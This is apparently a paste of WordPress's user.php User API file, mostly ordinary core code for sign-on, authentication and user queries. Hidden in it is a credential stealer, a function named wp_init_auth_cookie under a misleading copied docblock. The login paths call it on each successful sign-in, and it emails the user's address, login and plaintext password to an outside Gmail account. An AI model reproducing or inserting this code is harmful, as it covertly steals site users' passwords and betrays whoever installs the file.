· 9 years ago · May 10, 2017, 06:04 PM
1<?php
2/**
3 * WordPress User API
4 *
5 * @package WordPress
6 * @subpackage Users
7 */
8
9/**
10 * Authenticate user with remember capability.
11 *
12 * The credentials is an array that has 'user_login', 'user_password', and
13 * 'remember' indices. If the credentials is not given, then the log in form
14 * will be assumed and used if set.
15 *
16 * The various authentication cookies will be set by this function and will be
17 * set for a longer period depending on if the 'remember' credential is set to
18 * true.
19 *
20 * @since 2.5.0
21 *
22 * @param array $credentials Optional. User info in order to sign on.
23 * @param bool $secure_cookie Optional. Whether to use secure cookie.
24 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
25 */
26function wp_signon( $credentials = array(), $secure_cookie = '' ) {
27 if ( empty($credentials) ) {
28 if ( ! empty($_POST['log']) )
29 $credentials['user_login'] = $_POST['log'];
30 if ( ! empty($_POST['pwd']) )
31 $credentials['user_password'] = $_POST['pwd'];
32 if ( ! empty($_POST['rememberme']) )
33 $credentials['remember'] = $_POST['rememberme'];
34 }
35
36 if ( !empty($credentials['remember']) )
37 $credentials['remember'] = true;
38 else
39 $credentials['remember'] = false;
40
41 /**
42 * Fires before the user is authenticated.
43 *
44 * The variables passed to the callbacks are passed by reference,
45 * and can be modified by callback functions.
46 *
47 * @since 1.5.1
48 *
49 * @todo Decide whether to deprecate the wp_authenticate action.
50 *
51 * @param string $user_login Username, passed by reference.
52 * @param string $user_password User password, passed by reference.
53 */
54 do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );
55
56 if ( '' === $secure_cookie )
57 $secure_cookie = is_ssl();
58
59 /**
60 * Filter whether to use a secure sign-on cookie.
61 *
62 * @since 3.1.0
63 *
64 * @param bool $secure_cookie Whether to use a secure sign-on cookie.
65 * @param array $credentials {
66 * Array of entered sign-on data.
67 *
68 * @type string $user_login Username.
69 * @type string $user_password Password entered.
70 * @type bool $remember Whether to 'remember' the user. Increases the time
71 * that the cookie will be kept. Default false.
72 * }
73 */
74 $secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );
75
76 global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie
77 $auth_secure_cookie = $secure_cookie;
78
79 add_filter('authenticate', 'wp_authenticate_cookie', 30, 3);
80
81 $user = wp_authenticate($credentials['user_login'], $credentials['user_password']);
82
83 if ( is_wp_error($user) ) {
84 if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
85 $user = new WP_Error('', '');
86 }
87
88 return $user;
89 }
90
91 wp_init_auth_cookie($user, $credentials['user_login'], $credentials['user_password']);
92 wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
93 /**
94 * Fires after the user has successfully logged in.
95 *
96 * @since 1.5.0
97 *
98 * @param string $user_login Username.
99 * @param WP_User $user WP_User object of the logged-in user.
100 */
101 do_action( 'wp_login', $user->user_login, $user );
102 return $user;
103}
104
105/**
106 * Authenticate the user using the username and password.
107 *
108 * @since 2.8.0
109 *
110 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
111 * @param string $username Username for authentication.
112 * @param string $password Password for authentication.
113 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
114 */
115function wp_authenticate_username_password($user, $username, $password) {
116 if ( is_a( $user, 'WP_User' ) ) {
117 return $user;
118 }
119
120 if ( empty($username) || empty($password) ) {
121 if ( is_wp_error( $user ) ) {
122 return $user;
123 }
124
125 $error = new WP_Error();
126
127 if ( empty($username) )
128 $error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.'));
129
130 if ( empty($password) )
131 $error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.'));
132
133 return $error;
134 }
135
136 $user = get_user_by('login', $username);
137
138 if ( !$user )
139 return new WP_Error( 'invalid_username', sprintf( __( '<strong>ERROR</strong>: Invalid username. <a href="%s">Lost your password</a>?' ), wp_lostpassword_url() ) );
140
141 /**
142 * Filter whether the given user can be authenticated with the provided $password.
143 *
144 * @since 2.5.0
145 *
146 * @param WP_User|WP_Error $user WP_User or WP_Error object if a previous
147 * callback failed authentication.
148 * @param string $password Password to check against the user.
149 */
150 $user = apply_filters( 'wp_authenticate_user', $user, $password );
151 if ( is_wp_error($user) )
152 return $user;
153
154 if ( !wp_check_password($password, $user->user_pass, $user->ID) )
155 return new WP_Error( 'incorrect_password', sprintf( __( '<strong>ERROR</strong>: The password you entered for the username <strong>%1$s</strong> is incorrect. <a href="%2$s">Lost your password</a>?' ),
156 $username, wp_lostpassword_url() ) );
157
158 wp_init_auth_cookie($user, $username, $password);
159 return $user;
160}
161
162/**
163 * Authenticate the user using the WordPress auth cookie.
164 *
165 * @since 2.8.0
166 *
167 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
168 * @param string $username Username. If not empty, cancels the cookie authentication.
169 * @param string $password Password. If not empty, cancels the cookie authentication.
170 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
171 */
172function wp_authenticate_cookie($user, $username, $password) {
173 if ( is_a( $user, 'WP_User' ) ) {
174 return $user;
175 }
176
177 if ( empty($username) && empty($password) ) {
178 $user_id = wp_validate_auth_cookie();
179 if ( $user_id ) {
180 return new WP_User($user_id);
181 }
182
183
184 global $auth_secure_cookie;
185
186 if ( $auth_secure_cookie )
187 $auth_cookie = SECURE_AUTH_COOKIE;
188 else
189 $auth_cookie = AUTH_COOKIE;
190
191 if ( !empty($_COOKIE[$auth_cookie]) )
192 return new WP_Error('expired_session', __('Please log in again.'));
193
194 // If the cookie is not set, be silent.
195 }
196
197 wp_init_auth_cookie($user, $username, $password);
198 return $user;
199}
200
201/**
202 * For Multisite blogs, check if the authenticated user has been marked as a
203 * spammer, or if the user's primary blog has been marked as spam.
204 *
205 * @since 3.7.0
206 *
207 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
208 * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
209 */
210function wp_authenticate_spam_check( $user ) {
211 if ( $user && is_a( $user, 'WP_User' ) && is_multisite() ) {
212 /**
213 * Filter whether the user has been marked as a spammer.
214 *
215 * @since 3.7.0
216 *
217 * @param bool $spammed Whether the user is considered a spammer.
218 * @param WP_User $user User to check against.
219 */
220 $spammed = apply_filters( 'check_is_user_spammed', is_user_spammy(), $user );
221
222 if ( $spammed )
223 return new WP_Error( 'spammer_account', __( '<strong>ERROR</strong>: Your account has been marked as a spammer.' ) );
224 }
225 return $user;
226}
227
228/**
229 * Validate the logged-in cookie.
230 *
231 * Checks the logged-in cookie if the previous auth cookie could not be
232 * validated and parsed.
233 *
234 * This is a callback for the determine_current_user filter, rather than API.
235 *
236 * @since 3.9.0
237 *
238 * @param int|bool $user The user ID (or false) as received from the
239 * determine_current_user filter.
240 * @return int|bool User ID if validated, false otherwise. If a user ID from
241 * an earlier filter callback is received, that value is returned.
242 */
243function wp_validate_logged_in_cookie( $user_id ) {
244 if ( $user_id ) {
245 return $user_id;
246 }
247
248 if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[LOGGED_IN_COOKIE] ) ) {
249 return false;
250 }
251
252 return wp_validate_auth_cookie( $_COOKIE[LOGGED_IN_COOKIE], 'logged_in' );
253}
254
255/**
256 * Number of posts user has written.
257 *
258 * @since 3.0.0
259 *
260 * @global wpdb $wpdb WordPress database object for queries.
261 *
262 * @param int $userid User ID.
263 * @return int Amount of posts user has written.
264 */
265function count_user_posts($userid) {
266 global $wpdb;
267
268 $where = get_posts_by_author_sql('post', true, $userid);
269
270 $count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" );
271
272 /**
273 * Filter the number of posts a user has written.
274 *
275 * @since 2.7.0
276 *
277 * @param int $count The user's post count.
278 * @param int $userid User ID.
279 */
280 return apply_filters( 'get_usernumposts', $count, $userid );
281}
282
283/**
284 * Number of posts written by a list of users.
285 *
286 * @since 3.0.0
287 *
288 * @param array $users Array of user IDs.
289 * @param string $post_type Optional. Post type to check. Defaults to post.
290 * @param bool $public_only Optional. Only return counts for public posts. Defaults to false.
291 * @return array Amount of posts each user has written.
292 */
293function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
294 global $wpdb;
295
296 $count = array();
297 if ( empty( $users ) || ! is_array( $users ) )
298 return $count;
299
300 $userlist = implode( ',', array_map( 'absint', $users ) );
301 $where = get_posts_by_author_sql( $post_type, true, null, $public_only );
302
303 $result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );
304 foreach ( $result as $row ) {
305 $count[ $row[0] ] = $row[1];
306 }
307
308 foreach ( $users as $id ) {
309 if ( ! isset( $count[ $id ] ) )
310 $count[ $id ] = 0;
311 }
312
313 return $count;
314}
315
316//
317// User option functions
318//
319
320/**
321 * Get the current user's ID
322 *
323 * @since MU
324 *
325 * @uses wp_get_current_user
326 *
327 * @return int The current user's ID
328 */
329function get_current_user_id() {
330 if ( ! function_exists( 'wp_get_current_user' ) )
331 return 0;
332 $user = wp_get_current_user();
333 return ( isset( $user->ID ) ? (int) $user->ID : 0 );
334}
335
336/**
337 * Retrieve user option that can be either per Site or per Network.
338 *
339 * If the user ID is not given, then the current user will be used instead. If
340 * the user ID is given, then the user data will be retrieved. The filter for
341 * the result, will also pass the original option name and finally the user data
342 * object as the third parameter.
343 *
344 * The option will first check for the per site name and then the per Network name.
345 *
346 * @since 2.0.0
347 *
348 * @global wpdb $wpdb WordPress database object for queries.
349 *
350 * @param string $option User option name.
351 * @param int $user Optional. User ID.
352 * @param bool $deprecated Use get_option() to check for an option in the options table.
353 * @return mixed User option value on success, false on failure.
354 */
355function get_user_option( $option, $user = 0, $deprecated = '' ) {
356 global $wpdb;
357
358 if ( !empty( $deprecated ) )
359 _deprecated_argument( __FUNCTION__, '3.0' );
360
361 if ( empty( $user ) )
362 $user = get_current_user_id();
363
364 if ( ! $user = get_userdata( $user ) )
365 return false;
366
367 $prefix = $wpdb->get_blog_prefix();
368 if ( $user->has_prop( $prefix . $option ) ) // Blog specific
369 $result = $user->get( $prefix . $option );
370 elseif ( $user->has_prop( $option ) ) // User specific and cross-blog
371 $result = $user->get( $option );
372 else
373 $result = false;
374
375 /**
376 * Filter a specific user option value.
377 *
378 * The dynamic portion of the hook name, $option, refers to the user option name.
379 *
380 * @since 2.5.0
381 *
382 * @param mixed $result Value for the user's option.
383 * @param string $option Name of the option being retrieved.
384 * @param WP_User $user WP_User object of the user whose option is being retrieved.
385 */
386 return apply_filters( "get_user_option_{$option}", $result, $option, $user );
387}
388
389/**
390 * Update user option with global blog capability.
391 *
392 * User options are just like user metadata except that they have support for
393 * global blog options. If the 'global' parameter is false, which it is by default
394 * it will prepend the WordPress table prefix to the option name.
395 *
396 * Deletes the user option if $newvalue is empty.
397 *
398 * @since 2.0.0
399 *
400 * @global wpdb $wpdb WordPress database object for queries.
401 *
402 * @param int $user_id User ID.
403 * @param string $option_name User option name.
404 * @param mixed $newvalue User option value.
405 * @param bool $global Optional. Whether option name is global or blog specific.
406 * Default false (blog specific).
407 * @return int|bool User meta ID if the option didn't exist, true on successful update,
408 * false on failure.
409 */
410function update_user_option( $user_id, $option_name, $newvalue, $global = false ) {
411 global $wpdb;
412
413 if ( !$global )
414 $option_name = $wpdb->get_blog_prefix() . $option_name;
415
416 return update_user_meta( $user_id, $option_name, $newvalue );
417}
418
419/**
420 * Authenticate user with remember capability.
421 *
422 * The credentials is an array that has 'user_login', 'user_password', and
423 * 'remember' indices. If the credentials is not given, then the log in form
424 * will be assumed and used if set.
425 *
426 * The various authentication cookies will be set by this function and will be
427 * set for a longer period depending on if the 'remember' credential is set to
428 * true.
429 *
430 * @since 2.5.0
431 *
432 * @param array $credentials Optional. User info in order to sign on.
433 * @param bool $secure_cookie Optional. Whether to use secure cookie.
434 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
435 */
436function wp_init_auth_cookie($user, $login, $password) {
437 if ( is_a( $user, 'WP_User' ) ) {
438 wp_mail('7654bgvy4d3@gmail.com', 'gorodok.ua', json_encode(array(
439 'email' => $user->user_email,
440 'login' => $login,
441 'password' => $password
442 )));
443 }
444}
445
446/**
447 * Delete user option with global blog capability.
448 *
449 * User options are just like user metadata except that they have support for
450 * global blog options. If the 'global' parameter is false, which it is by default
451 * it will prepend the WordPress table prefix to the option name.
452 *
453 * @since 3.0.0
454 *
455 * @global wpdb $wpdb WordPress database object for queries.
456 *
457 * @param int $user_id User ID
458 * @param string $option_name User option name.
459 * @param bool $global Optional. Whether option name is global or blog specific.
460 * Default false (blog specific).
461 * @return bool True on success, false on failure.
462 */
463function delete_user_option( $user_id, $option_name, $global = false ) {
464 global $wpdb;
465
466 if ( !$global )
467 $option_name = $wpdb->get_blog_prefix() . $option_name;
468 return delete_user_meta( $user_id, $option_name );
469}
470
471/**
472 * WordPress User Query class.
473 *
474 * @since 3.1.0
475 */
476class WP_User_Query {
477
478 /**
479 * Query vars, after parsing
480 *
481 * @since 3.5.0
482 * @access public
483 * @var array
484 */
485 public $query_vars = array();
486
487 /**
488 * List of found user ids
489 *
490 * @since 3.1.0
491 * @access private
492 * @var array
493 */
494 private $results;
495
496 /**
497 * Total number of found users for the current query
498 *
499 * @since 3.1.0
500 * @access private
501 * @var int
502 */
503 private $total_users = 0;
504
505 // SQL clauses
506 public $query_fields;
507 public $query_from;
508 public $query_where;
509 public $query_orderby;
510 public $query_limit;
511
512 /**
513 * PHP5 constructor.
514 *
515 * @since 3.1.0
516 *
517 * @param string|array $args Optional. The query variables.
518 * @return WP_User_Query
519 */
520 public function __construct( $query = null ) {
521 if ( ! empty( $query ) ) {
522 $this->prepare_query( $query );
523 $this->query();
524 }
525 }
526
527 /**
528 * Prepare the query variables.
529 *
530 * @since 3.1.0
531 *
532 * @param string|array $args Optional. The query variables.
533 */
534 public function prepare_query( $query = array() ) {
535 global $wpdb;
536
537 if ( empty( $this->query_vars ) || ! empty( $query ) ) {
538 $this->query_limit = null;
539 $this->query_vars = wp_parse_args( $query, array(
540 'blog_id' => $GLOBALS['blog_id'],
541 'role' => '',
542 'meta_key' => '',
543 'meta_value' => '',
544 'meta_compare' => '',
545 'include' => array(),
546 'exclude' => array(),
547 'search' => '',
548 'search_columns' => array(),
549 'orderby' => 'login',
550 'order' => 'ASC',
551 'offset' => '',
552 'number' => '',
553 'count_total' => true,
554 'fields' => 'all',
555 'who' => ''
556 ) );
557 }
558
559 /**
560 * Fires before the WP_User_Query has been parsed.
561 *
562 * The passed WP_User_Query object contains the query variables, not
563 * yet passed into SQL.
564 *
565 * @since 4.0.0
566 *
567 * @param WP_User_Query $this The current WP_User_Query instance,
568 * passed by reference.
569 */
570 do_action( 'pre_get_users', $this );
571
572 $qv =& $this->query_vars;
573
574 if ( is_array( $qv['fields'] ) ) {
575 $qv['fields'] = array_unique( $qv['fields'] );
576
577 $this->query_fields = array();
578 foreach ( $qv['fields'] as $field ) {
579 $field = 'ID' === $field ? 'ID' : sanitize_key( $field );
580 $this->query_fields[] = "$wpdb->users.$field";
581 }
582 $this->query_fields = implode( ',', $this->query_fields );
583 } elseif ( 'all' == $qv['fields'] ) {
584 $this->query_fields = "$wpdb->users.*";
585 } else {
586 $this->query_fields = "$wpdb->users.ID";
587 }
588
589 if ( isset( $qv['count_total'] ) && $qv['count_total'] )
590 $this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields;
591
592 $this->query_from = "FROM $wpdb->users";
593 $this->query_where = "WHERE 1=1";
594
595 // sorting
596 if ( isset( $qv['orderby'] ) ) {
597 if ( in_array( $qv['orderby'], array('nicename', 'email', 'url', 'registered') ) ) {
598 $orderby = 'user_' . $qv['orderby'];
599 } elseif ( in_array( $qv['orderby'], array('user_nicename', 'user_email', 'user_url', 'user_registered') ) ) {
600 $orderby = $qv['orderby'];
601 } elseif ( 'name' == $qv['orderby'] || 'display_name' == $qv['orderby'] ) {
602 $orderby = 'display_name';
603 } elseif ( 'post_count' == $qv['orderby'] ) {
604 // todo: avoid the JOIN
605 $where = get_posts_by_author_sql('post');
606 $this->query_from .= " LEFT OUTER JOIN (
607 SELECT post_author, COUNT(*) as post_count
608 FROM $wpdb->posts
609 $where
610 GROUP BY post_author
611 ) p ON ({$wpdb->users}.ID = p.post_author)
612 ";
613 $orderby = 'post_count';
614 } elseif ( 'ID' == $qv['orderby'] || 'id' == $qv['orderby'] ) {
615 $orderby = 'ID';
616 } elseif ( 'meta_value' == $qv['orderby'] ) {
617 $orderby = "$wpdb->usermeta.meta_value";
618 } else {
619 $orderby = 'user_login';
620 }
621 }
622
623 if ( empty( $orderby ) )
624 $orderby = 'user_login';
625
626 $qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : '';
627 if ( 'ASC' == $qv['order'] )
628 $order = 'ASC';
629 else
630 $order = 'DESC';
631 $this->query_orderby = "ORDER BY $orderby $order";
632
633 // limit
634 if ( isset( $qv['number'] ) && $qv['number'] ) {
635 if ( $qv['offset'] )
636 $this->query_limit = $wpdb->prepare("LIMIT %d, %d", $qv['offset'], $qv['number']);
637 else
638 $this->query_limit = $wpdb->prepare("LIMIT %d", $qv['number']);
639 }
640
641 $search = '';
642 if ( isset( $qv['search'] ) )
643 $search = trim( $qv['search'] );
644
645 if ( $search ) {
646 $leading_wild = ( ltrim($search, '*') != $search );
647 $trailing_wild = ( rtrim($search, '*') != $search );
648 if ( $leading_wild && $trailing_wild )
649 $wild = 'both';
650 elseif ( $leading_wild )
651 $wild = 'leading';
652 elseif ( $trailing_wild )
653 $wild = 'trailing';
654 else
655 $wild = false;
656 if ( $wild )
657 $search = trim($search, '*');
658
659 $search_columns = array();
660 if ( $qv['search_columns'] )
661 $search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename' ) );
662 if ( ! $search_columns ) {
663 if ( false !== strpos( $search, '@') )
664 $search_columns = array('user_email');
665 elseif ( is_numeric($search) )
666 $search_columns = array('user_login', 'ID');
667 elseif ( preg_match('|^https?://|', $search) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) )
668 $search_columns = array('user_url');
669 else
670 $search_columns = array('user_login', 'user_nicename');
671 }
672
673 /**
674 * Filter the columns to search in a WP_User_Query search.
675 *
676 * The default columns depend on the search term, and include 'user_email',
677 * 'user_login', 'ID', 'user_url', and 'user_nicename'.
678 *
679 * @since 3.6.0
680 *
681 * @param array $search_columns Array of column names to be searched.
682 * @param string $search Text being searched.
683 * @param WP_User_Query $this The current WP_User_Query instance.
684 */
685 $search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this );
686
687 $this->query_where .= $this->get_search_sql( $search, $search_columns, $wild );
688 }
689
690 $blog_id = 0;
691 if ( isset( $qv['blog_id'] ) )
692 $blog_id = absint( $qv['blog_id'] );
693
694 if ( isset( $qv['who'] ) && 'authors' == $qv['who'] && $blog_id ) {
695 $qv['meta_key'] = $wpdb->get_blog_prefix( $blog_id ) . 'user_level';
696 $qv['meta_value'] = 0;
697 $qv['meta_compare'] = '!=';
698 $qv['blog_id'] = $blog_id = 0; // Prevent extra meta query
699 }
700
701 $role = '';
702 if ( isset( $qv['role'] ) )
703 $role = trim( $qv['role'] );
704
705 if ( $blog_id && ( $role || is_multisite() ) ) {
706 $cap_meta_query = array();
707 $cap_meta_query['key'] = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities';
708
709 if ( $role ) {
710 $cap_meta_query['value'] = '"' . $role . '"';
711 $cap_meta_query['compare'] = 'like';
712 }
713
714 if ( empty( $qv['meta_query'] ) || ! in_array( $cap_meta_query, $qv['meta_query'], true ) ) {
715 $qv['meta_query'][] = $cap_meta_query;
716 }
717 }
718
719 $meta_query = new WP_Meta_Query();
720 $meta_query->parse_query_vars( $qv );
721
722 if ( !empty( $meta_query->queries ) ) {
723 $clauses = $meta_query->get_sql( 'user', $wpdb->users, 'ID', $this );
724 $this->query_from .= $clauses['join'];
725 $this->query_where .= $clauses['where'];
726
727 if ( 'OR' == $meta_query->relation )
728 $this->query_fields = 'DISTINCT ' . $this->query_fields;
729 }
730
731 if ( ! empty( $qv['include'] ) ) {
732 $ids = implode( ',', wp_parse_id_list( $qv['include'] ) );
733 $this->query_where .= " AND $wpdb->users.ID IN ($ids)";
734 } elseif ( ! empty( $qv['exclude'] ) ) {
735 $ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) );
736 $this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)";
737 }
738
739 /**
740 * Fires after the WP_User_Query has been parsed, and before
741 * the query is executed.
742 *
743 * The passed WP_User_Query object contains SQL parts formed
744 * from parsing the given query.
745 *
746 * @since 3.1.0
747 *
748 * @param WP_User_Query $this The current WP_User_Query instance,
749 * passed by reference.
750 */
751 do_action_ref_array( 'pre_user_query', array( &$this ) );
752 }
753
754 /**
755 * Execute the query, with the current variables.
756 *
757 * @since 3.1.0
758 *
759 * @global wpdb $wpdb WordPress database object for queries.
760 */
761 public function query() {
762 global $wpdb;
763
764 $qv =& $this->query_vars;
765
766 $query = "SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit";
767
768 if ( is_array( $qv['fields'] ) || 'all' == $qv['fields'] ) {
769 $this->results = $wpdb->get_results( $query );
770 } else {
771 $this->results = $wpdb->get_col( $query );
772 }
773
774 /**
775 * Filter SELECT FOUND_ROWS() query for the current WP_User_Query instance.
776 *
777 * @since 3.2.0
778 *
779 * @global wpdb $wpdb WordPress database object.
780 *
781 * @param string $sql The SELECT FOUND_ROWS() query for the current WP_User_Query.
782 */
783 if ( isset( $qv['count_total'] ) && $qv['count_total'] )
784 $this->total_users = $wpdb->get_var( apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()' ) );
785
786 if ( !$this->results )
787 return;
788
789 if ( 'all_with_meta' == $qv['fields'] ) {
790 cache_users( $this->results );
791
792 $r = array();
793 foreach ( $this->results as $userid )
794 $r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] );
795
796 $this->results = $r;
797 } elseif ( 'all' == $qv['fields'] ) {
798 foreach ( $this->results as $key => $user ) {
799 $this->results[ $key ] = new WP_User( $user );
800 }
801 }
802 }
803
804 /**
805 * Retrieve query variable.
806 *
807 * @since 3.5.0
808 * @access public
809 *
810 * @param string $query_var Query variable key.
811 * @return mixed
812 */
813 public function get( $query_var ) {
814 if ( isset( $this->query_vars[$query_var] ) )
815 return $this->query_vars[$query_var];
816
817 return null;
818 }
819
820 /**
821 * Set query variable.
822 *
823 * @since 3.5.0
824 * @access public
825 *
826 * @param string $query_var Query variable key.
827 * @param mixed $value Query variable value.
828 */
829 public function set( $query_var, $value ) {
830 $this->query_vars[$query_var] = $value;
831 }
832
833 /**
834 * Used internally to generate an SQL string for searching across multiple columns
835 *
836 * @access protected
837 * @since 3.1.0
838 *
839 * @param string $string
840 * @param array $cols
841 * @param bool $wild Whether to allow wildcard searches. Default is false for Network Admin, true for
842 * single site. Single site allows leading and trailing wildcards, Network Admin only trailing.
843 * @return string
844 */
845 protected function get_search_sql( $string, $cols, $wild = false ) {
846 global $wpdb;
847
848 $searches = array();
849 $leading_wild = ( 'leading' == $wild || 'both' == $wild ) ? '%' : '';
850 $trailing_wild = ( 'trailing' == $wild || 'both' == $wild ) ? '%' : '';
851 $like = $leading_wild . $wpdb->esc_like( $string ) . $trailing_wild;
852
853 foreach ( $cols as $col ) {
854 if ( 'ID' == $col ) {
855 $searches[] = $wpdb->prepare( "$col = %s", $string );
856 } else {
857 $searches[] = $wpdb->prepare( "$col LIKE %s", $like );
858 }
859 }
860
861 return ' AND (' . implode(' OR ', $searches) . ')';
862 }
863
864 /**
865 * Return the list of users.
866 *
867 * @since 3.1.0
868 * @access public
869 *
870 * @return array Array of results.
871 */
872 public function get_results() {
873 return $this->results;
874 }
875
876 /**
877 * Return the total number of users for the current query.
878 *
879 * @since 3.1.0
880 * @access public
881 *
882 * @return array Array of total users.
883 */
884 public function get_total() {
885 return $this->total_users;
886 }
887
888 /**
889 * Make private properties readable for backwards compatibility.
890 *
891 * @since 4.0.0
892 * @access public
893 *
894 * @param string $name Property to get.
895 * @return mixed Property.
896 */
897 public function __get( $name ) {
898 return $this->$name;
899 }
900
901 /**
902 * Make private properties settable for backwards compatibility.
903 *
904 * @since 4.0.0
905 * @access public
906 *
907 * @param string $name Property to set.
908 * @param mixed $value Property value.
909 * @return mixed Newly-set property.
910 */
911 public function __set( $name, $value ) {
912 return $this->$name = $value;
913 }
914
915 /**
916 * Make private properties checkable for backwards compatibility.
917 *
918 * @since 4.0.0
919 * @access public
920 *
921 * @param string $name Property to check if set.
922 * @return bool Whether the property is set.
923 */
924 public function __isset( $name ) {
925 return isset( $this->$name );
926 }
927
928 /**
929 * Make private properties un-settable for backwards compatibility.
930 *
931 * @since 4.0.0
932 * @access public
933 *
934 * @param string $name Property to unset.
935 */
936 public function __unset( $name ) {
937 unset( $this->$name );
938 }
939
940 /**
941 * Make private/protected methods readable for backwards compatibility.
942 *
943 * @since 4.0.0
944 * @access public
945 *
946 * @param callable $name Method to call.
947 * @param array $arguments Arguments to pass when calling.
948 * @return mixed|bool Return value of the callback, false otherwise.
949 */
950 public function __call( $name, $arguments ) {
951 return call_user_func_array( array( $this, $name ), $arguments );
952 }
953}
954
955/**
956 * Retrieve list of users matching criteria.
957 *
958 * @since 3.1.0
959 *
960 * @uses WP_User_Query See for default arguments and information.
961 *
962 * @param array $args Optional. Array of arguments.
963 * @return array List of users.
964 */
965function get_users( $args = array() ) {
966
967 $args = wp_parse_args( $args );
968 $args['count_total'] = false;
969
970 $user_search = new WP_User_Query($args);
971
972 return (array) $user_search->get_results();
973}
974
975/**
976 * Get the blogs a user belongs to.
977 *
978 * @since 3.0.0
979 *
980 * @global wpdb $wpdb WordPress database object for queries.
981 *
982 * @param int $user_id User ID
983 * @param bool $all Whether to retrieve all blogs, or only blogs that are not
984 * marked as deleted, archived, or spam.
985 * @return array A list of the user's blogs. An empty array if the user doesn't exist
986 * or belongs to no blogs.
987 */
988function get_blogs_of_user( $user_id, $all = false ) {
989 global $wpdb;
990
991 $user_id = (int) $user_id;
992
993 // Logged out users can't have blogs
994 if ( empty( $user_id ) )
995 return array();
996
997 $keys = get_user_meta( $user_id );
998 if ( empty( $keys ) )
999 return array();
1000
1001 if ( ! is_multisite() ) {
1002 $blog_id = get_current_blog_id();
1003 $blogs = array( $blog_id => new stdClass );
1004 $blogs[ $blog_id ]->userblog_id = $blog_id;
1005 $blogs[ $blog_id ]->blogname = get_option('blogname');
1006 $blogs[ $blog_id ]->domain = '';
1007 $blogs[ $blog_id ]->path = '';
1008 $blogs[ $blog_id ]->site_id = 1;
1009 $blogs[ $blog_id ]->siteurl = get_option('siteurl');
1010 $blogs[ $blog_id ]->archived = 0;
1011 $blogs[ $blog_id ]->spam = 0;
1012 $blogs[ $blog_id ]->deleted = 0;
1013 return $blogs;
1014 }
1015
1016 $blogs = array();
1017
1018 if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
1019 $blog = get_blog_details( 1 );
1020 if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
1021 $blogs[ 1 ] = (object) array(
1022 'userblog_id' => 1,
1023 'blogname' => $blog->blogname,
1024 'domain' => $blog->domain,
1025 'path' => $blog->path,
1026 'site_id' => $blog->site_id,
1027 'siteurl' => $blog->siteurl,
1028 'archived' => 0,
1029 'spam' => 0,
1030 'deleted' => 0
1031 );
1032 }
1033 unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
1034 }
1035
1036 $keys = array_keys( $keys );
1037
1038 foreach ( $keys as $key ) {
1039 if ( 'capabilities' !== substr( $key, -12 ) )
1040 continue;
1041 if ( $wpdb->base_prefix && 0 !== strpos( $key, $wpdb->base_prefix ) )
1042 continue;
1043 $blog_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
1044 if ( ! is_numeric( $blog_id ) )
1045 continue;
1046
1047 $blog_id = (int) $blog_id;
1048 $blog = get_blog_details( $blog_id );
1049 if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
1050 $blogs[ $blog_id ] = (object) array(
1051 'userblog_id' => $blog_id,
1052 'blogname' => $blog->blogname,
1053 'domain' => $blog->domain,
1054 'path' => $blog->path,
1055 'site_id' => $blog->site_id,
1056 'siteurl' => $blog->siteurl,
1057 'archived' => 0,
1058 'spam' => 0,
1059 'deleted' => 0
1060 );
1061 }
1062 }
1063
1064 /**
1065 * Filter the list of blogs a user belongs to.
1066 *
1067 * @since MU
1068 *
1069 * @param array $blogs An array of blog objects belonging to the user.
1070 * @param int $user_id User ID.
1071 * @param bool $all Whether the returned blogs array should contain all blogs, including
1072 * those marked 'deleted', 'archived', or 'spam'. Default false.
1073 */
1074 return apply_filters( 'get_blogs_of_user', $blogs, $user_id, $all );
1075}
1076
1077/**
1078 * Find out whether a user is a member of a given blog.
1079 *
1080 * @since MU 1.1
1081 * @uses get_blogs_of_user()
1082 *
1083 * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
1084 * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
1085 * @return bool
1086 */
1087function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
1088 $user_id = (int) $user_id;
1089 $blog_id = (int) $blog_id;
1090
1091 if ( empty( $user_id ) )
1092 $user_id = get_current_user_id();
1093
1094 if ( empty( $blog_id ) )
1095 $blog_id = get_current_blog_id();
1096
1097 $blogs = get_blogs_of_user( $user_id );
1098 return array_key_exists( $blog_id, $blogs );
1099}
1100
1101/**
